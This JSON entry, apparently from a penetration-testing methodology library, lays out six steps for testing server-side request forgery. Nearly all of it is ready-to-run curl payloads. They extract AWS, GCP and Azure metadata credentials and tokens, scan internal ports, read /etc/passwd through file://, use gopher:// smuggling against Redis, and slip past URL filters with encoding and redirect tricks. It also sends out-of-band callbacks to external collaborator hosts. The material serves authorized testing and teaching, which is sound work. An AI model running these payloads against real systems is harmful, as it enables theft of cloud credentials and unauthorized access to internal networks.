{
  "slug": "ssrf-testing",
  "title": "Server-Side Request Forgery (SSRF)",
  "phase": "Exploitation",
  "description": "Test for SSRF vulnerabilities to access internal services, cloud metadata endpoints, and internal network resources through the target application.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "ssrf",
    "cloud-metadata",
    "internal-access",
    "server-side"
  ],
  "tools": [
    "SSRFmap",
    "Burp Suite",
    "interactsh",
    "nuclei",
    "curl"
  ],
  "steps": [
    {
      "id": "ssrf-01",
      "title": "Test URL parameters for basic SSRF",
      "description": "Identify parameters that accept URLs or hostnames and test whether the server will make requests to attacker-controlled or internal destinations.",
      "commands": [
        "cat all-urls.txt | grep -iE '(url=|uri=|path=|dest=|redirect=|site=|page=|feed=|host=|proxy=|img=|link=|src=)'",
        "curl -sk 'https://target.com/fetch?url=https://collaborator.net/ssrf-test'",
        "curl -sk 'https://target.com/fetch?url=http://127.0.0.1:80'"
      ],
      "notes": "Look beyond obvious parameters — file import features, webhook configurations, PDF generators, and image fetchers are all common SSRF surfaces."
    },
    {
      "id": "ssrf-02",
      "title": "Detect blind SSRF with out-of-band callbacks",
      "description": "Use external interaction services to detect SSRF when the server response does not reflect the fetched content.",
      "commands": [
        "interactsh-client -v",
        "curl -sk 'https://target.com/fetch?url=http://<interactsh-subdomain>'",
        "nuclei -u https://target.com -t vulnerabilities/generic/oast/ -iserver interact.sh"
      ],
      "notes": "Blind SSRF is common when the application fetches URLs in background jobs or async processing. Monitor your callback server for delayed responses that indicate queued requests."
    },
    {
      "id": "ssrf-03",
      "title": "Access cloud metadata endpoints",
      "description": "Test SSRF payloads targeting cloud provider metadata services to extract IAM credentials, instance configuration, and secrets.",
      "commands": [
        "curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'",
        "curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'",
        "curl -sk 'https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'",
        "curl -sk 'https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true'"
      ],
      "notes": "AWS IMDSv2 requires a PUT request for a token first — if the SSRF allows method control, you can still exploit it. Always check for both v1 and v2 endpoints."
    },
    {
      "id": "ssrf-04",
      "title": "Scan internal ports and services via SSRF",
      "description": "Leverage SSRF to enumerate internal network services by observing response differences for open and closed ports.",
      "commands": [
        "for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do echo \"Port $port:\"; curl -sk -o /dev/null -w '%{http_code} %{time_total}s' 'https://target.com/fetch?url=http://127.0.0.1:'$port; echo; done",
        "curl -sk 'https://target.com/fetch?url=http://localhost:6379/INFO'",
        "curl -sk 'https://target.com/fetch?url=http://localhost:9200/_cluster/health'"
      ],
      "notes": "Response time differences can reveal open ports even when content is not returned. A fast error for closed ports versus a timeout for filtered ports provides useful signal."
    },
    {
      "id": "ssrf-05",
      "title": "Test protocol smuggling with non-HTTP schemes",
      "description": "Test whether the SSRF allows non-HTTP protocols such as gopher://, file://, dict://, and ftp:// to interact with internal services.",
      "commands": [
        "curl -sk 'https://target.com/fetch?url=file:///etc/passwd'",
        "curl -sk 'https://target.com/fetch?url=gopher://127.0.0.1:6379/_INFO%0d%0a'",
        "curl -sk 'https://target.com/fetch?url=dict://127.0.0.1:6379/INFO'"
      ],
      "notes": "The gopher:// protocol is especially dangerous as it allows sending arbitrary TCP data, enabling exploitation of Redis, Memcached, and SMTP services behind the firewall."
    },
    {
      "id": "ssrf-06",
      "title": "Bypass SSRF filters with URL parsing tricks",
      "description": "Circumvent URL validation and blocklist filters using DNS rebinding, URL parser inconsistencies, redirect chains, and encoding tricks.",
      "commands": [
        "curl -sk 'https://target.com/fetch?url=http://2130706433'",
        "curl -sk 'https://target.com/fetch?url=http://[::1]/'",
        "curl -sk 'https://target.com/fetch?url=http://attacker.com@127.0.0.1/'",
        "curl -sk 'https://target.com/fetch?url=http://%2531%2532%2537%252e%2530%252e%2530%252e%2531/'",
        "curl -sk 'https://target.com/fetch?url=https://target.com/redirect?to=http://169.254.169.254/'"
      ],
      "notes": "DNS rebinding attacks use a domain that alternates between resolving to a public and private IP. Tools like rbndr.us can generate rebinding domains automatically."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/ssrf",
    "https://owasp.org/www-community/attacks/Server_Side_Request_Forgery",
    "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html",
    "https://github.com/swisskyrepo/SSRFmap",
    "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-ec2/aws-ec2-ssrf"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}